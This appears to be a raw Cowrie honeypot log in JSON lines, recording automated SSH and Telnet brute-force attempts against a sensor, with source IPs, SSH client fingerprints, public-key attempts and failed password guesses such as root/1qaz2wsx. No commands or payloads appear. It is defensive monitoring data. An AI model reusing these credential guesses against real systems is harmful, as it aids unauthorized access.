{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:18:14.786964Z","src_ip":"45.78.230.231","session":"045f2b2ee94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:18:16.022540Z","src_ip":"45.78.230.231","session":"045f2b2ee94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.189.11","src_port":54014,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f611ef3246","protocol":"ssh","message":"New connection: 5.45.189.11:54014 (10.17.0.5:22) [session: b2f611ef3246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:27.945937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:27.951962Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:28.101901Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:d2:42:8f:a5:48:b1:b6:10:fe:11:cd:a5:b9:e1:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0P4vKYELMZP4NDbZksAGN+yjCRoBCohTj1KfSq2WHshscDkoKeH5UvYmXsnAjsxre0+YyNM9lMt/RXCg9U/52xskUBbUtte/2uzpicOWZN1fryx8HBT9JGubo5fAEVFpbFFwAbU1tAZ5ab3ZF/mL8/Ieyy9QzkhIegn6zribe0XCxgyqI9MbLH2ikXaPNmo8vRyvVJbc/1Rxk6unRV59z4fd0dwTZbGpEBUU7j3Sf8pJd2pbARAXa14f7oJvZqDeMC78TG3ZRbcbuxU7b/AeEsC2yZTb6rcPO/HIPVFnMrCKO06unqwhrF8OUHYCYUqkzSfwX5KhlGluXtDnp015f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:d2:42:8f:a5:48:b1:b6:10:fe:11:cd:a5:b9:e1:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:28.817596Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:d2:42:8f:a5:48:b1:b6:10:fe:11:cd:a5:b9:e1:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD0P4vKYELMZP4NDbZksAGN+yjCRoBCohTj1KfSq2WHshscDkoKeH5UvYmXsnAjsxre0+YyNM9lMt/RXCg9U/52xskUBbUtte/2uzpicOWZN1fryx8HBT9JGubo5fAEVFpbFFwAbU1tAZ5ab3ZF/mL8/Ieyy9QzkhIegn6zribe0XCxgyqI9MbLH2ikXaPNmo8vRyvVJbc/1Rxk6unRV59z4fd0dwTZbGpEBUU7j3Sf8pJd2pbARAXa14f7oJvZqDeMC78TG3ZRbcbuxU7b/AeEsC2yZTb6rcPO/HIPVFnMrCKO06unqwhrF8OUHYCYUqkzSfwX5KhlGluXtDnp015f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:28.822319Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:22:97:4a:d7:5a:c9:1d:7f:08:cf:ce:9c:7f:10:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmIcpxSTFwgmXt7AvrA6sjN6zckx0ZRroBR/HC5Ks/vjpJU3FfdLY9XDdvYvpOtxZpiC9VqVxVVpcuJiP7X+WSaksfrAYCh3iLhCnAeQAeDvBsiIg2FF7iZokrkHnPrNHtDq8xg20tf+eIkqp4XP/TDf6xHeNjH9R1HeLWER6Kx8TwU8phYejIZdjDK6SWw/xbIMMJdEmW48IJGaTIMjW9jzdZLA86aXr6I51zUtdKslLuiclB8ygulbmFvMEuEsmEQTZzkh+cMLe/rvyn3BcfCIyrxkd2fJPgleSM0LgS9l4QQIEU9Xo0RpjmGHmRB3dqORLnM09q8dC5/zAlQReWgYZlMG6h40bod78TyEB5GC606xNWDntUUyciqSY6R0ZsO6JYEZT9192FfOFGkxAO5NdTQJvoaGXsbFG4KzjWvo3DYGSP9pFA2gl7/8S6vk8fQhQYyNw2K23PGskvSDD7oLnvkkY2hii3KDxnusYUC1FqcqxApIzkj45Klhpjdr8UKuxnmRPtM9hpTyehRoMDpA3tYCBkcLiBzxbuuhCZ+aX0hbN3A46A81qhTLnUFoHQIJ6c84+D/nM++SR0pbBaKMd3XL9krk2rlL2V6x3Qzk3JiUF4lwkUx2ucjU+VIpyk2lqrh3Qdh2rrFgVebp408Vjh6bA6H0FpcBCR1YyM5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:22:97:4a:d7:5a:c9:1d:7f:08:cf:ce:9c:7f:10:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:28.973578Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:22:97:4a:d7:5a:c9:1d:7f:08:cf:ce:9c:7f:10:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmIcpxSTFwgmXt7AvrA6sjN6zckx0ZRroBR/HC5Ks/vjpJU3FfdLY9XDdvYvpOtxZpiC9VqVxVVpcuJiP7X+WSaksfrAYCh3iLhCnAeQAeDvBsiIg2FF7iZokrkHnPrNHtDq8xg20tf+eIkqp4XP/TDf6xHeNjH9R1HeLWER6Kx8TwU8phYejIZdjDK6SWw/xbIMMJdEmW48IJGaTIMjW9jzdZLA86aXr6I51zUtdKslLuiclB8ygulbmFvMEuEsmEQTZzkh+cMLe/rvyn3BcfCIyrxkd2fJPgleSM0LgS9l4QQIEU9Xo0RpjmGHmRB3dqORLnM09q8dC5/zAlQReWgYZlMG6h40bod78TyEB5GC606xNWDntUUyciqSY6R0ZsO6JYEZT9192FfOFGkxAO5NdTQJvoaGXsbFG4KzjWvo3DYGSP9pFA2gl7/8S6vk8fQhQYyNw2K23PGskvSDD7oLnvkkY2hii3KDxnusYUC1FqcqxApIzkj45Klhpjdr8UKuxnmRPtM9hpTyehRoMDpA3tYCBkcLiBzxbuuhCZ+aX0hbN3A46A81qhTLnUFoHQIJ6c84+D/nM++SR0pbBaKMd3XL9krk2rlL2V6x3Qzk3JiUF4lwkUx2ucjU+VIpyk2lqrh3Qdh2rrFgVebp408Vjh6bA6H0FpcBCR1YyM5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:28.977524Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:e6:03:92:a3:5c:b2:5d:a5:27:20:87:ad:27:77:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrC/wZkJ/J+JOsmO98Igf9NGNvMW5DmkM8ac5t/G96302/p66xIH24rUv4m1S7rLMBqK7x5GhZ7lzva4B5Dv10+P6lxN0l1yKFMU9xwxwgk20WifI7WNDGenCOAGmeo+uyC0Au54ViVFLozC4eqoXwthQzo7oCTWqZcOr73MttIJFFHURlKiLgu+3cmcTcGTtjpG60Oi3FLJoObOcS7kFE/+k80fZLMMud/w2fnhUNehpB67HNNRBYoXXs5S1EyjrQZosr2oG3v5Htym7Fi6gipbB7rkLlomkY+A2OQjD8GDpF2SkK6TbXjKjvG2kt+xS2dx0WB0YKW/Et7N7WiZTiTUIO0YaV0U39tfp7CYWHAvtrOAboOsx/FaAlaSBu2Tz5mayFDsodTOwxTx1TQUXdL97I0pFPLPJpfFQKHxG12UUT42h9yGMsKYMqSrNsMSQ6yII2B/IFQOw2Wfb6hUZPOR1ZDZorFO6oUrxQ964sM8hGHTgYUOBwkezlH98v/tW05oThcip37EoJxAaIONWpC518TM0M0OdNET5SPAi93naW/RrAZ9Lj6kYTm8PrK5QqgWMqy7NCocQ9TZi0B9NHsvvJGLyDBSE/If7z26RvU9eSVjwKH2XIrYQC1jmUvl9fgQjl8OrCHR70EpWimLal9zj9E+RvnmgG7XMuvkGbDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:e6:03:92:a3:5c:b2:5d:a5:27:20:87:ad:27:77:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.129497Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:e6:03:92:a3:5c:b2:5d:a5:27:20:87:ad:27:77:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrC/wZkJ/J+JOsmO98Igf9NGNvMW5DmkM8ac5t/G96302/p66xIH24rUv4m1S7rLMBqK7x5GhZ7lzva4B5Dv10+P6lxN0l1yKFMU9xwxwgk20WifI7WNDGenCOAGmeo+uyC0Au54ViVFLozC4eqoXwthQzo7oCTWqZcOr73MttIJFFHURlKiLgu+3cmcTcGTtjpG60Oi3FLJoObOcS7kFE/+k80fZLMMud/w2fnhUNehpB67HNNRBYoXXs5S1EyjrQZosr2oG3v5Htym7Fi6gipbB7rkLlomkY+A2OQjD8GDpF2SkK6TbXjKjvG2kt+xS2dx0WB0YKW/Et7N7WiZTiTUIO0YaV0U39tfp7CYWHAvtrOAboOsx/FaAlaSBu2Tz5mayFDsodTOwxTx1TQUXdL97I0pFPLPJpfFQKHxG12UUT42h9yGMsKYMqSrNsMSQ6yII2B/IFQOw2Wfb6hUZPOR1ZDZorFO6oUrxQ964sM8hGHTgYUOBwkezlH98v/tW05oThcip37EoJxAaIONWpC518TM0M0OdNET5SPAi93naW/RrAZ9Lj6kYTm8PrK5QqgWMqy7NCocQ9TZi0B9NHsvvJGLyDBSE/If7z26RvU9eSVjwKH2XIrYQC1jmUvl9fgQjl8OrCHR70EpWimLal9zj9E+RvnmgG7XMuvkGbDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.133066Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:dd:01:9f:f4:88:27:c2:c5:32:a4:2d:c7:d0:e3:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUGBvGass4r5LlI03IVS3TaXNcseVwe8ZSbkWWiif7PPdOoDSrShLepImxh7gb3iSc1qoVA7BsFKuDVFaZPl9NOS1v3YPKzilAZzWFSwlGQANwZNnvsEDzPlz8K57YJydL/IDMl25AsPFIHY/9ueQj8LNgGcrp3LWiqBpcRpllfYnaoz7Kw/3SNUiRhO9jEAkdOuz35IPLkByZdT2qT1vqsKZs78YV9u3X4yyoPH2Akmb0OgyVeRTFXoDTUYfSUGMCWpcUVVGGDxmJ0pRz0XVUYqD6ppk8zbL7RMwHQR5CwzfyfqOXRnFY1J9A8Mm/CasXUOUX9cQZdMuG5fx4iIG7YZjerrr3HDHNNZnLC6DTIQUAo09gqCS7kjGcTftCojaA+zIP1b2t9j388nBKUpaSFdI93iXniGCRRNQViYqpLywI10XpJ/lSg50H3iQpc0h6/mC0PfVrvgFKZOtv9nxUYsDdZHU97W/AMnHpyLAGJvyJ3Xr8im08MMjuMddX97Da1MDPzMa94reB7eM4ARnLcGPzhGWQZPxQRjRerGIXDaOrkx3bvS1Sh1AXqLuIUDHCuTM2TVY4mqoKvbo9tgbyVv+KICDjJu5DXVux3G+4izZixCvWyEa8Qb/74dGRFlLpDR6YRnmDJXEJDlOoVCag7T2mV644N/oGrT6pYug+dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:dd:01:9f:f4:88:27:c2:c5:32:a4:2d:c7:d0:e3:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.281628Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:dd:01:9f:f4:88:27:c2:c5:32:a4:2d:c7:d0:e3:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUGBvGass4r5LlI03IVS3TaXNcseVwe8ZSbkWWiif7PPdOoDSrShLepImxh7gb3iSc1qoVA7BsFKuDVFaZPl9NOS1v3YPKzilAZzWFSwlGQANwZNnvsEDzPlz8K57YJydL/IDMl25AsPFIHY/9ueQj8LNgGcrp3LWiqBpcRpllfYnaoz7Kw/3SNUiRhO9jEAkdOuz35IPLkByZdT2qT1vqsKZs78YV9u3X4yyoPH2Akmb0OgyVeRTFXoDTUYfSUGMCWpcUVVGGDxmJ0pRz0XVUYqD6ppk8zbL7RMwHQR5CwzfyfqOXRnFY1J9A8Mm/CasXUOUX9cQZdMuG5fx4iIG7YZjerrr3HDHNNZnLC6DTIQUAo09gqCS7kjGcTftCojaA+zIP1b2t9j388nBKUpaSFdI93iXniGCRRNQViYqpLywI10XpJ/lSg50H3iQpc0h6/mC0PfVrvgFKZOtv9nxUYsDdZHU97W/AMnHpyLAGJvyJ3Xr8im08MMjuMddX97Da1MDPzMa94reB7eM4ARnLcGPzhGWQZPxQRjRerGIXDaOrkx3bvS1Sh1AXqLuIUDHCuTM2TVY4mqoKvbo9tgbyVv+KICDjJu5DXVux3G+4izZixCvWyEa8Qb/74dGRFlLpDR6YRnmDJXEJDlOoVCag7T2mV644N/oGrT6pYug+dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.285769Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:8e:4e:dc:8e:64:cb:b2:5a:bd:30:8c:fb:97:c2:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Dd9fntmNSeOpBERj1nre91zLwk2CMlZCnGreKvcXftpE8OiNB0pmONcJjqjUqPXmg41mTtOMVWkVxfn2Uy7anpOmJmka8nU9PBdGAOeaLx1ytQrCx/D8fX8/2S/rA1UtkL876jo+L4DyfMba6iLPP8SLZmwcfT9b5YK+Kyme+b9XqmBh3tH8bKjyjTTFfJd0tltNqJAn/tRA5dr7QXYHHevbNiB0tpROp84Zf+jTHBQJ2nY7LhyIwIxoK+pa+Oe3HDzCxeZt7FW3OqrD7XGnvXsQ0ot0yWs9pPo93m4MPJlERickHuCuGcc34PFMJ9pHfiJ9EYbj0jE3A4iehD7DxaiP/s1ebSsbRJ0mkpBbApC/3tdIwM/Bw10CJ6L8LzGpCJfaXY9fzJkGMLyzOmhaZ+fYHGDfCKG1KBa0p3wakhOt3y3mzEik89cbGANfOEX3Z+TOG9Yw764Ps//NjMlrB3w/K/WyUoC9qqrjKDEDJUtB7HIz9Ow5qJ/vh5wgG7O+h+VVeZb+UShtnuByyuSxnafeMDEeUyxPp7j2K3h2zaFo/focH7NrFKX6xJF1mm3hoxNvDT6blZz1vbaKHxZsuRkz/nAJ5xjnVMMOZgZguHcnnehsr3gXlZjblam3pyWyDH9hlnArttAUacZY//ZaM17SocVNFryleGloXQW0rQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:8e:4e:dc:8e:64:cb:b2:5a:bd:30:8c:fb:97:c2:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.437566Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:8e:4e:dc:8e:64:cb:b2:5a:bd:30:8c:fb:97:c2:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7Dd9fntmNSeOpBERj1nre91zLwk2CMlZCnGreKvcXftpE8OiNB0pmONcJjqjUqPXmg41mTtOMVWkVxfn2Uy7anpOmJmka8nU9PBdGAOeaLx1ytQrCx/D8fX8/2S/rA1UtkL876jo+L4DyfMba6iLPP8SLZmwcfT9b5YK+Kyme+b9XqmBh3tH8bKjyjTTFfJd0tltNqJAn/tRA5dr7QXYHHevbNiB0tpROp84Zf+jTHBQJ2nY7LhyIwIxoK+pa+Oe3HDzCxeZt7FW3OqrD7XGnvXsQ0ot0yWs9pPo93m4MPJlERickHuCuGcc34PFMJ9pHfiJ9EYbj0jE3A4iehD7DxaiP/s1ebSsbRJ0mkpBbApC/3tdIwM/Bw10CJ6L8LzGpCJfaXY9fzJkGMLyzOmhaZ+fYHGDfCKG1KBa0p3wakhOt3y3mzEik89cbGANfOEX3Z+TOG9Yw764Ps//NjMlrB3w/K/WyUoC9qqrjKDEDJUtB7HIz9Ow5qJ/vh5wgG7O+h+VVeZb+UShtnuByyuSxnafeMDEeUyxPp7j2K3h2zaFo/focH7NrFKX6xJF1mm3hoxNvDT6blZz1vbaKHxZsuRkz/nAJ5xjnVMMOZgZguHcnnehsr3gXlZjblam3pyWyDH9hlnArttAUacZY//ZaM17SocVNFryleGloXQW0rQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.441504Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:29.589516Z","src_ip":"5.45.189.11","session":"b2f611ef3246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51868,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b55599aa4e4","protocol":"ssh","message":"New connection: 2.57.122.208:51868 (159.203.135.109:22) [session: 9b55599aa4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:36.676315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:36.935188Z","src_ip":"2.57.122.208","session":"9b55599aa4e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:36.939015Z","src_ip":"2.57.122.208","session":"9b55599aa4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:38.902833Z","src_ip":"2.57.122.208","session":"9b55599aa4e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:20:40.408936Z","src_ip":"2.57.122.208","session":"9b55599aa4e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.245.143.125","src_port":45507,"dst_ip":"10.17.0.5","dst_port":23,"session":"52fb785cd911","protocol":"telnet","message":"New connection: 117.245.143.125:45507 (10.17.0.5:23) [session: 52fb785cd911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:09.106976Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53758,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4f59dc2ddf7","protocol":"ssh","message":"New connection: 2.57.122.208:53758 (10.17.0.5:22) [session: e4f59dc2ddf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:17.801426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:18.133375Z","src_ip":"2.57.122.208","session":"e4f59dc2ddf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:18.136941Z","src_ip":"2.57.122.208","session":"e4f59dc2ddf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:20.104242Z","src_ip":"2.57.122.208","session":"e4f59dc2ddf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:21.507424Z","src_ip":"2.57.122.208","session":"e4f59dc2ddf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.350894689559937,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:21:22.457532Z","src_ip":"117.245.143.125","session":"52fb785cd911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":44588,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa52b106ab4a","protocol":"ssh","message":"New connection: 194.59.206.2:44588 (159.203.135.109:22) [session: fa52b106ab4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T04:22:14.927387Z"}
